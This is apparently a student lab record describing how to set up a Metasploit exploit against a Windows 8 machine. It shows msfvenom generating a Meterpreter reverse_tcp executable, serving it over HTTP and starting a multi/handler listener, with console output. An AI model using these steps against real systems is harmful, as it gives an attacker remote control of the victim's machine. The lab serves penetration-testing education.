

Ex. No.: 8b  
Date: 23/04/24

# METASPLOIT

**AIM:**

To set up Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely.

**ALGORITHM:**

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
- 10.Delete the created directory.

**OUTPUT:**

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155
LPORT=443 -f exe > /root/hi.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~# msfconsole
[-] ***Rting the Metasploit Framework console...
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[-] ***
```

```

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| / | _ _ _ / \ _ _ \ \ \ _ _ / \ \ _ | | \ \ _ \
=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

```

```
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
-----
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
-----
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
--
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.8.155:443
```

**RESULT:**

Thus, a Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been setup.